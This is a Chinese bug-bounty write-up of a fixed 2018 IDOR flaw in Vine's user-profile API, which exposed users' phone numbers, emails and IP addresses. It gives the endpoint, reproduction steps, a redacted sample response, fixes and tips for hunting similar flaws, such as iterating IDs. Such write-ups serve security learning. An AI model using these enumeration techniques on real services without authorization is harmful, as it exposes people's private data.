挖洞经验 | Vine用户隐私信息泄露漏洞($7560)
字数 1260 2025-08-18 11:37:46
Vine用户隐私信息泄露漏洞分析报告
漏洞概述
漏洞类型:不安全的直接对象引用(IDOR)
影响范围:Twitter旗下Vine应用的所有用户
漏洞危害:可获取任意用户的IP地址、手机号码和注册邮箱等敏感信息
漏洞奖励:$7560美金
发现者:孟加拉国安全研究员Prial Islam
发现时间:2018年
状态:已修复
漏洞技术细节
漏洞端点
https://vine.co/api/users/profiles/<User Id>
漏洞原理
- 该API端点未实施适当的访问控制机制
- 通过简单修改URL中的用户ID参数,可以访问任意用户的个人信息
- 服务器未验证请求者是否有权访问目标用户的数据
- 响应中包含完整的用户个人信息
漏洞复现步骤
-
收集目标用户ID:
- 通过Vine主页
- 通过消息交互
- 其他可能的用户ID泄露途径
-
构造恶意请求:
- 将目标用户ID替换到API端点中
- 示例:
https://vine.co/api/users/profiles/12345678
-
发送请求:
- 无需特殊权限或认证
- 可直接通过浏览器或工具发送GET请求
-
获取响应数据:
- 服务器返回包含目标用户完整个人信息的JSON响应
泄露的敏感信息
从响应中可以获取以下关键用户数据:
{
"phoneNumber": "",
"email": "",
"ipAddress": "",
"location": "Los Angeles California",
"twitterId": "",
"twitterScreenname": "",
"platforms": ["android", "ios"],
"created": "2013-04-13T19:30:31.000000",
"lastLogin": "2016-12-13T23:29:40.000000",
"modified": "2017-01-29T01:24:00.000000",
"notificationsLastViewed": "2016-04-26T21:03:35.000000"
}
漏洞影响分析
-
直接危害:
- 攻击者可获取任意用户的手机号码、邮箱地址和IP地址
- 可获取用户的位置信息、设备平台等
- 可获取账户创建时间、最后登录时间等时间戳信息
-
潜在风险:
- 针对用户的钓鱼攻击
- 账户接管攻击
- 社会工程学攻击
- 跨平台攻击(因Vine支持Twitter账户登录)
- 大规模用户数据收集
-
业务影响:
- 违反隐私保护法规(如GDPR)
- 损害用户信任
- 品牌声誉损失
漏洞修复建议
-
访问控制:
- 实施严格的权限验证
- 确保用户只能访问自己的个人信息
-
输入验证:
- 验证请求中的用户ID是否与当前会话用户匹配
-
敏感信息保护:
- 对敏感字段进行脱敏处理
- 实施最小权限原则,仅返回必要信息
-
日志监控:
- 监控异常访问模式
- 设置访问频率限制
-
安全测试:
- 定期进行渗透测试
- 特别关注IDOR类漏洞
漏洞挖掘技巧
-
参数篡改测试:
- 尝试修改URL中的ID类参数
- 测试递增/递减ID值的效果
-
响应分析:
- 检查API响应是否包含不必要的信息
- 对比不同权限级别用户的响应差异
-
CORS检查:
- 虽然本例中CORS配置正确,但仍需作为常规测试项
-
自动化工具辅助:
- 使用Burp Suite等工具进行参数模糊测试
- 编写简单脚本进行批量ID测试
经验总结
-
IDOR漏洞常见性:
- 这是Web应用中最常见的安全漏洞之一
- 常出现在处理对象引用(如用户ID、订单号等)的场景中
-
测试方法论:
- 不要假设认证机制能防止所有越权访问
- 每个接受ID参数的端点都应测试IDOR可能性
-
漏洞价值评估:
- 影响范围广的IDOR漏洞通常能获得较高奖励
- 涉及敏感数据泄露的漏洞价值更高
-
报告技巧:
- 清晰展示漏洞复现步骤
- 准确描述潜在影响
- 提供可行的修复建议
附录:完整响应示例
{
"code": "",
"data": {
"followerCount": 16271364,
"includePromoted": 1,
"captchaSucceeded": 0,
"recordComment": null,
"locale": "iUS",
"shareUrl": "https://vine.co/",
"hiddenPhoneNumber": 0,
"notPorn": 0,
"userId": ,
"private": 0,
"likeCount": null,
"commentCount": null,
"platforms": ["android", "ios"],
"postCount": null,
"profileBackground": "0x33ccbf",
"suspended": null,
"hiddenFacebook": 0,
"verifiedEmail": 0,
"explicitContent": 0,
"dmcaStrikeCount": 0,
"flaggedCount": 7579,
"verified": 1,
"loopCount": 6132344784,
"avatarUrl": "http://v.cdn.vine.co/r/avatars/.jpg?versionId=JIjnvXTkbWpjvk7glYZIXDqt187couHr",
"authoredPostCount": 598,
"review_result_illegal_review": 0,
"review_result_ok": 0,
"review": null,
"suspendedBy": null,
"twitterId": ,
"phoneNumber": "",
"location": "Los Angeles California",
"notifyActivity": 1,
"facebookConnected": 1,
"explicitContentAdmin": 0,
"statsTags": null,
"hiddenEmail": 0,
"unflaggable": 0,
"username": "",
"modified": "2017-01-29T01:24:00.000000",
"userIdStr": "",
"twitterIdStr": "",
"vanityUrls": ["kingbach"],
"remixDisabled": 0,
"deleted": null,
"categories": null,
"released": 0,
"loopVelocity": null,
"strikeCounts": [
{"count": 0, "strikeType": "SEVERE_POLICY_VIOLATION"},
{"count": 0, "strikeType": "DMCA"},
{"count": 0, "strikeType": "SENSITIVE"},
{"count": 0, "strikeType": "POSSIBLY_ILLEGAL"},
{"count": 0, "strikeType": "GRAPHIC_NON_VIOLATING"},
{"count": 0, "strikeType": "ESC"}
],
"uploadHD": 1,
"verifiedPhoneNumber": 1,
"hiddenTwitter": 0,
"vineVerified": 1,
"notifyMessages": 1,
"needsPhoneVerification": 0,
"repostCount": null,
"twitterScreenname": "",
"secondaryColor": "0x33ccbf",
"twitterVerified": 1,
"captchaRequired": 0,
"edition": null,
"acceptsOutOfNetworkConversations": 1,
"disableAddressBook": 1,
"description": "Instagram/Twitter/Shots/SnapChat- @ For booking go to the library",
"escStrikeCount": 0,
"review_result_explicit": 0,
"notificationsLastViewed": "2016-04-26T21:03:35.000000",
"email": "",
"hideFromPopular": 0,
"admin": 0,
"contentReview": 0,
"created": "2013-04-13T19:30:31.000000",
"review_result_illegal_confirmed": 0,
"followingCount": null,
"lastLogin": "2016-12-13T23:29:40.000000",
"escUser": 0,
"ipAddress": "",
"twitterConnected": 1
},
"success": true,
"error": ""
}